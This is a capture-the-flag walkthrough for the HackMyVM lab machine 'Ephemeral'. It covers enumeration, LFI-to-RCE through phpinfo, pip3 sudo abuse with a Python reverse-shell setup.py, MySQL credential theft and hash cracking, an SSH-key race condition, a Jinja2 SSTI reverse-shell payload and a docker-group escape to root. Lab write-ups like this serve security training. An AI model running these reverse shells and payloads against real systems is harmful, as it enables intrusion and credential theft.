Ephemeral is a difficult machine involving various tricks and techniques to get to the root shell. However, it took some time for me as one of the exploits wasn’t working. So, I had to modify the script to make it work. The machine features local file inclusions, remote command execution using LFI and phpinfo script, insecure file permissions, sudo abuse, docker group exploitation, etc. Lastly, I would like to thank the author “Proxy Programmer” for putting great effort into making this machine for us. “Ephemeral Walkthrough from HackMyVM – Writeup”
I would like to express my heartfelt condolences to the bereaved families of 72 souls who lost their lives in the Yeti Air 9N-ANC flight crash in Pokhara, Nepal on January 15, 2023.
Click here to go to the download page of Ephemeral.
Scan IP addresses
Firstly, we have to identify the IP address of the target machine in the local network.
❯ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.210
The IP address of the target machine is 10.0.0.210.
Nmap scan
Next, we have to perform a Nmap scan to identify the services on the target machine.
❯ nmap -sC -sV -p- -oN nmap.log 10.0.0.210
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-17 22:54 +0545
Nmap scan report for 10.0.0.210
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0a0d443c388fc06d5d7218e6d9123e57 (RSA)
| 256 4d7dba6fa988eaa2343a6a0c3a271cd5 (ECDSA)
|_ 256 7436bfaf8a530ac17fca2ea15cc525ad (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: AutoWash - Car Wash Website Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
In the machine, the FTP port is open but it doesn’t allow anonymous login. Likewise, we see an HTTP port open as well.
Enumerate web server
The website is quite static. Thus, I performed a directory busting in case there are any PHP scripts.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.210 -x php,html,txt -o medium.log
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.210
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
2023/01/17 22:57:31 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 39494]
/contact.html (Status: 200) [Size: 15151]
/about.html (Status: 200) [Size: 18464]
/blog.html (Status: 200) [Size: 20094]
/img (Status: 301) [Size: 306] [--> http://10.0.0.210/img/]
/mail (Status: 301) [Size: 307] [--> http://10.0.0.210/mail/]
/service.html (Status: 200) [Size: 16853]
/css (Status: 301) [Size: 306] [--> http://10.0.0.210/css/]
/team.html (Status: 200) [Size: 18605]
/lib (Status: 301) [Size: 306] [--> http://10.0.0.210/lib/]
/js (Status: 301) [Size: 305] [--> http://10.0.0.210/js/]
/cd (Status: 301) [Size: 305] [--> http://10.0.0.210/cd/]
/location.html (Status: 200) [Size: 14685]
/price (Status: 301) [Size: 308] [--> http://10.0.0.210/price/]
/price.html (Status: 200) [Size: 14635]
/prices (Status: 301) [Size: 309] [--> http://10.0.0.210/prices/]
/LICENSE.txt (Status: 200) [Size: 1309]
/single.html (Status: 200) [Size: 48856]
/booking.html (Status: 200) [Size: 14677]
/.php (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/phpsysinfo.php (Status: 200) [Size: 69386]
/server-status (Status: 403) [Size: 275]
We have a phpsysinfo.php file on the server. Having the file on the server had me think of the possibility of LFI to RCE using phpinfo. So, I looked into the directories of the server. And, there was a script “filedownload.php” inside /prices.
I also had a bit of trouble in this step because the wordlists I was trying weren’t working. Finally, the parameter was present in “burp-parameter-names.txt“
❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://10.0.0.210/prices/filedownload.php?FUZZ=../../../../../../../../../../../etc/passwd' -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.0.210/prices/filedownload.php?FUZZ=../../../../../../../../../../../etc/passwd
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
AssignmentForm [Status: 200, Size: 3091, Words: 40, Lines: 54, Duration: 1601ms]
:: Progress: [6453/6453] :: Job [1/1] :: 673 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
Also, when we checked the sysphpinfo.php script, we see that the file_uploads is enabled on the server.
Since the file uploading feature is enabled along with phpinfo and LFI vulnerabilities, we can perform LFI to RCE and get a reverse shell.
LFI to RCE using phpinfo
The following GitHub repository contained the original python2 script (in the commit history) that worked perfectly.
https://github.com/roughiz/lfito_rce
However, the latest commit on the repo didn’t work at the time of writing. So, I created a fork of the repository, fixed the issue and sent a PR to the original repository. Visit the following Github fork of mine in any case.
https://github.com/kriss-u/lfito_rce_py3
I listened on port 9001. Then, I executed the exploit as follows.
python3 exploit.py -l 'http://10.0.0.210/prices/filedownload.php?AssignmentForm=' --lhost 10.0.0.4 --lport 9001 -i 'http://10.0.0.210/phpsysinfo.php'
Finally, it gave me the reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.210.
Ncat: Connection from 10.0.0.210:57818.
Linux ephemeral 5.17.0-051700rc7-generic #202203062330 SMP PREEMPT Sun Mar 6 23:33:35 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
10:35:52 up 2:02, 0 users, load average: 0.00, 0.17, 0.87
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ephemeral:/$ ^Z
[1] + 49637 suspended nc -nlvp 9001
❯ stty raw -echo;fg
[1] + 49637 continued nc -nlvp 9001
www-data@ephemeral:/$ export TERM=xterm
www-data@ephemeral:/$ stty rows 32 cols 169
www-data@ephemeral:/$
Click here to visit the link to upgrade the shell to an intelligent one
Find MySQL credentials
I performed a linpeas scan to get various pieces of information about the machine. Anyway, the credentials were in .my.cnf file.
www-data@ephemeral:/var$ cat /etc/mysql/.my.cnf
[client]
user=root
password=<redacted>
I logged into the server and got data from the database.
www-data@ephemeral:/var$ mysql -uroot -p -s
Enter password:
mysql> show databases;
Database
ephemeral_users
information_schema
mysql
performance_schema
sys
mysql> use ephemeral_users
mysql> show tables;
Tables_in_ephemeral_users
ephemeral_users
mysql> select * from ephemeral_users;
user password
kevin <redacted>
donald <redacted>
jane <redacted>
randy <redacted>
mysql>
All of these are the hashes of the password. Furthermore, all of these get cracked using john the ripper.
❯ john hash --wordlist=/home/kali/rockyou.txt
<redacted>
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA1 [SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
❯ john hash --show
kevin:<redacted>
donald:<redacted>
jane:<redacted>
randy:<redacted>
However, we could only switch to the user kevin.
www-data@ephemeral:/$ su - kevin
Password:
kevin@ephemeral:~$ id
uid=1000(kevin) gid=1000(kevin) groups=1000(kevin),46(plugdev),120(lpadmin)
Shell using pip3
The sudo permission of the user allowed him to execute pip3 install as the user donald.
kevin@ephemeral:~$ sudo -l
[sudo] password for kevin:
Matching Defaults entries for kevin on ephemeral:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kevin may run the following commands on ephemeral:
(donald) PASSWD: /usr/bin/pip3 install *
Using the help of gtfobins, I created a directory, exploit/ inside /dev/shm. Inside the directory, there will be a setup.py script which will give us the reverse shell.
kevin@ephemeral:~$ mkdir -p /dev/shm/exploit
kevin@ephemeral:~$ nano /dev/shm/exploit/setup.py
kevin@ephemeral:~$ cat /dev/shm/exploit/setup.py
import sys,socket,os,pty
s=socket.socket()
s.connect(("10.0.0.4", 9001))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/bash")
kevin@ephemeral:~$ sudo -u donald pip3 install /dev/shm/exploit/
Processing /dev/shm/exploit
This gives us the shell of donald.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.210.
Ncat: Connection from 10.0.0.210:57820.
donald@ephemeral:/tmp/pip-req-build-30j_062p$ id
id
uid=1004(donald) gid=1004(donald) groups=1004(donald)
donald@ephemeral:/tmp/pip-req-build-30j_062p$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
donald@ephemeral:/tmp/pip-req-build-30j_062p$ ^Z
[1] + 50161 suspended nc -nlvp 9001
❯ stty raw -echo;fg
[1] + 50161 continued nc -nlvp 9001
donald@ephemeral:/tmp/pip-req-build-30j_062p$ export TERM=xterm-256color
donald@ephemeral:/tmp/pip-req-build-30j_062p$ stty rows 32 cols 169
donald@ephemeral:/tmp/pip-req-build-30j_062p$ id
uid=1004(donald) gid=1004(donald) groups=1004(donald)
donald@ephemeral:/tmp/pip-req-build-30j_062p$ cd
donald@ephemeral:~$
Get the password of the user donald
Once we get the shell, there are two files in the home directory of the user.
donald@ephemeral:~$ cat mypass.txt
Fjq<redacted>NIokz
donald@ephemeral:~$ cat note.txt
Hey Donald this is your system administrator. I left your new password in your home directory.
Just remember to decode it.
Let me know if you need your password changed again.
donald@ephemeral:~$
I used CyberChef to decode this base 62 code into the password.
Exploit sudo permission
Now, this step is a bit tricky to perform. Since it needed multiple shells, I copied my public key into the target’s .ssh/authorized_keys.
donald@ephemeral:~$ sudo -l
Matching Defaults entries for donald on ephemeral:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User donald may run the following commands on ephemeral:
(jane) PASSWD: /usr/local/bin/addKeys.sh
Since the default shell is rbash, we have to add an extra option in the prompt to get the bash shell.
❯ ssh [email protected] -t "bash --noprofile"
donald@ephemeral:~$ id
uid=1004(donald) gid=1004(donald) groups=1004(donald)
donald@ephemeral:~$
Let’s check the script in the sudo permission.
donald@ephemeral:~$ cat /usr/local/bin/addKeys.sh
#!/bin/bash
/usr/bin/rm -rf /dev/shm/id_rsa.pub
/usr/bin/rm -rf /dev/shm/id_rsa
/usr/bin/ssh-keygen -q -t rsa -N '' -f /dev/shm/id_rsa
/bin/echo "Keys Added!"
/usr/bin/rm -rf /home/jane/.ssh/
/bin/echo "Directory Deleted!"
/usr/bin/mkdir /home/jane/.ssh/
/bin/echo ".ssh Directory Created!"
/usr/bin/cp /dev/shm/id_rsa.pub /home/jane/.ssh/authorized_keys
/bin/echo "Keys Copied."
/usr/bin/chmod 600 /home/jane/.ssh/authorized_keys
/bin/echo "Permissions Changed!"
/usr/bin/rm -rf /dev/shm/id_rsa
/usr/bin/rm -rf /dev/shm/id_rsa.pub
/bin/echo "Keys Removed!"
In a nutshell, the script removes any existing, private and public keys from /dev/shm, creates a new pair, copies them to the home directory of the user and deletes the pair from /dev/shm.
Since the permission of the directory is 777, anyone can remove files. So, we cannot create a pair with the same name. However, we can create an infinite loop that continuously copies our custom pairs to id_rsa and id_rsa.pub. If our loop could copy our private keys before addKeys.sh would copy the key to the home directory, and we will get access.
donald@ephemeral:~$ /usr/bin/ssh-keygen -q -t rsa -N '' -f /dev/shm/custom
donald@ephemeral:~$ while true; do cp /dev/shm/custom /dev/shm/id_rsa; chmod 777 /dev/shm/id_rsa; cp /dev/shm/custom.pub /dev/shm/id_rsa.pub; done
On another shell, I ran the sudo command.
donald@ephemeral:~$ sudo -u jane /usr/local/bin/addKeys.sh
/dev/shm/id_rsa already exists.
Overwrite (y/n)? n
Keys Added!
Directory Deleted!
.ssh Directory Created!
Keys Copied.
Permissions Changed!
Keys Removed!
This would give us access to the user jane.
donald@ephemeral:~$ ssh jane@localhost -i /dev/shm/custom
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:/k63fO51xfAWhhIRatrod8DX2c8EHuVYagl9FGfd6Q0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.17.0-051700rc7-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
17 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2025.
jane@ephemeral:~$ echo $SHELL
/bin/bash
SSTI Vulnerability
When we check the sudo permission of jane, we see that she can execute a python script as randy.
jane@ephemeral:~$ sudo -l
Matching Defaults entries for jane on ephemeral:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jane may run the following commands on ephemeral:
(randy) NOPASSWD: /usr/bin/python3 /var/www/html/private_html/app.py
After looking at the source code, we can find that it is a web server that suffers from SSTI vulnerability in /page with the parameter name.
jane@ephemeral:~$ cat /var/www/html/private_html/app.py
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
output = Jinja2.from_string('Welcome ' + name + '!').render()
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
Let’s run the web server as randy.
jane@ephemeral:~$ sudo -u randy python3 /var/www/html/private_html/app.py
* Serving Flask app 'app' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on all addresses.
WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://10.0.0.210:5000/ (Press CTRL+C to quit)
After trying various payloads, the following link gave me the reverse shell.
http://10.0.0.210:5000/page?name={% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash %2Dc 'bash %2Di %3E%26 %2Fdev%2Ftcp%2F10%2E0%2E0%2E4%2F9001 0%3E%261'").read()}}{%endif%}{%endfor%}
You have to decode it from the URL-encoded format to view the payload. Also, the article from hacktricks is awesome to understand how it works in Jinja2.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.210.
Ncat: Connection from 10.0.0.210:57822.
randy@ephemeral:/home/jane$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
randy@ephemeral:/home/jane$ ^Z
[1] + 51525 suspended nc -nlvp 9001
❯ stty raw -echo;fg
[1] + 51525 continued nc -nlvp 9001
randy@ephemeral:/home/jane$ export TERM=xterm-256color
randy@ephemeral:/home/jane$ stty rows 32 cols 169
Exploit docker group
Interestingly, the last step on this machine is the easiest one. The user belongs to the group ‘docker’. Hence, we can mount the host’s filesystem inside the container. However, there must be a Linux image on the machine.
randy@ephemeral:~$ docker image list
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest c059bfaa849c 13 months ago 5.59MB
Now, we have to mount the file system.
randy@ephemeral:~$ docker run -it --rm -v /:/mnt alpine chroot /mnt bash
groups: cannot find name for group ID 4
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@d13a6777da23:/# cd
root@d13a6777da23:~# whoami
root
root@d13a6777da23:~# md5sum /root/root.txt
309eeb052f793871e42385b0a5f55ab4 /root/root.txt
root@d13a6777da23:~# echo nepcodex.com
nepcodex.com
root@d13a6777da23:~#